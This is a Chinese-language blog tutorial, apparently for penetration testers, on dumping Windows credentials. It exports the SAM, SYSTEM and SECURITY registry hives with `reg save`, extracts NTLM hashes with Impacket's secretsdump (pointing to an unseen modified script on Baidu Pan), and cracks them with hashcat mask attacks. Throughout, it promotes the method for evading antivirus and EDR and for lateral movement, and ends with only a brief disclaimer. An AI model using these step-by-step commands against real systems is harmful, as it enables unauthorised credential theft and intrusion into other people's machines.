文章目录
📌 前言🔐 一、SAM 文件简介1. 什么是 SAM?2. 为何选择 SAM 攻击?
📁 二、获取 SAM、SYSTEM、SECURITY 文件💻 三、使用 Impacket 提取 Hash步骤 1:安装 Impacket步骤 2:下载并配置脚本步骤 3:执行命令提取 Hash
🔥 四、使用 Hashcat 破解 Hash1. NTLM Hash 破解(模式 `-m 1000`)2. LM Hash 破解(模式 `-m 3000`)3. NetNTLM Hash 破解(模式 `-m 5500`)
📋 示例命令汇总🧠 五、总结
📌 前言
在渗透测试或安全研究过程中,获取目标系统的用户凭证是一项关键任务。Windows 系统中用户的登录密码不会以明文形式存储,而是通过加密算法生成 Hash 值,保存在注册表的 SAM 文件中。
本文将详细介绍如何通过提取 Windows 注册表中的 SAM、SYSTEM 和 SECURITY 文件,结合 Impacket 工具包 提取 NTLM/NT Hash,并使用 Hashcat 进行高效破解。整个过程无需上传恶意工具,具备良好的隐蔽性,适用于离线取证和内网横向移动场景。
🔐 一、SAM 文件简介
1. 什么是 SAM?
SAM(Security Account Manager) 是 Windows 系统用于管理本地账户的核心组件之一,其中存储了所有本地用户的用户名及其对应的密码哈希值。
Windows 并不会直接存储明文密码,而是将其经过加密处理后以哈希形式保存:
LM Hash:早期 Windows 使用的哈希算法,安全性较低,目前已默认禁用。NTLM Hash / NT Hash:当前主流使用的哈希算法,长度为 32 位十六进制字符串。
从 Windows Vista 开始,微软引入了 SYSKEY 加密机制,进一步保护 SAM 文件中的敏感数据。
2. 为何选择 SAM 攻击?
✅ 无需上传工具:仅需导出注册表文件即可完成信息提取;✅ 规避检测:使用系统命令操作,不易被杀毒软件或 EDR 检测;✅ 离线分析:可在本地环境中进行破解,不受目标网络环境限制;✅ 高价值信息:可获取本地管理员及普通用户账户的 NTLM Hash。
📁 二、获取 SAM、SYSTEM、SECURITY 文件
我们需要从目标系统中提取以下三个注册表项:
注册表路径作用说明HKEY_LOCAL_MACHINE\SAM包含用户账户信息及 NTLM HashHKEY_LOCAL_MACHINE\SYSTEM包含 SYSKEY 密钥,用于解密 SAM 数据HKEY_LOCAL_MACHINE\SECURITY包含其他安全相关数据
📌 操作前提:必须具有管理员权限!
使用以下命令导出注册表文件(建议在 CMD 或 PowerShell 中执行):
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
成功执行后,会生成三个 .hive 文件,可用于后续本地分析。
💻 三、使用 Impacket 提取 Hash
Impacket 是一个强大的 Python 工具库,支持多种网络协议攻击与取证功能。其中的 secretsdump.py 脚本可用于提取本地或远程主机的敏感凭证信息。
步骤 1:安装 Impacket
pip install impacket
步骤 2:下载并配置脚本
你也可以使用自定义修改版的 secretsdump_my.py 脚本进行更灵活操作。
📌 将以下文件放在同一目录下:
sam.hivesystem.hivesecurity.hivesecretsdump_my.py
secretsdump_my.py代码获取方式:https://pan.baidu.com/s/1oRbzQnjLFbBEWevaY5MfQg?pwd=v0vy 提取码:v0vy
步骤 3:执行命令提取 Hash
python secretsdump_my.py -sam sam.hive -security security.hive -system system.hive LOCAL
输出结果示例如下:
📌 格式说明:
第三段:NTLM Hash第四段:LM Hash若 LM Hash 为 aad3b435b51404eeaad3b435b51404ee,表示未启用 LM 存储或密码小于等于 8 位。
🔥 四、使用 Hashcat 破解 Hash
Hashcat 是目前最流行的多平台密码恢复工具,支持 GPU 加速,破解效率极高。
1. NTLM Hash 破解(模式 -m 1000)
hashcat -a 3 -m 1000 hash.txt ?a?a?a?a?a?a?a?a --increment --increment-min=1 --increment-max=10
-m 1000:指定 NTLM 哈希类型;-a 3:掩码攻击模式;?a:代表任意字符(大小写+数字+符号);--increment:自动递增密码长度;--increment-min=1 ~ --increment-max=10:设置尝试密码长度范围。
2. LM Hash 破解(模式 -m 3000)
hashcat -a 3 -m 3000 hash.txt ?a?a?a?a?a?a?a?a --increment --increment-min=1 --increment-max=10
3. NetNTLM Hash 破解(模式 -m 5500)
适用于 SMB、HTTP 等协议抓取的挑战响应认证 Hash:
hashcat -a 3 -m 5500 hash.txt -1 ?l?u ?1?1?1?1?d?d?d?d --force
📋 示例命令汇总
类型Hashcat 模式 ID命令模板NTLM Hash-m 1000hashcat -a 3 -m 1000 hash.txt ?a...LM Hash-m 3000hashcat -a 3 -m 3000 hash.txt ?a...NetNTLM Hash-m 5500hashcat -a 3 -m 5500 hash.txt ...
🧠 五、总结
本文完整介绍了从 Windows 系统中提取 SAM 文件并利用 Impacket 提取用户 Hash 的流程,并结合 Hashcat 进行本地暴力破解。
主要优势包括:
不依赖第三方工具上传;利用系统命令规避检测;可离线操作,提高灵活性;获取高价值用户凭证,便于后续渗透。
📌 注意:本文仅供学习交流,请勿用于非法用途。未经授权获取他人系统权限属于违法行为。
💬 欢迎留言交流你在实际操作中遇到的问题,或分享你的经验技巧!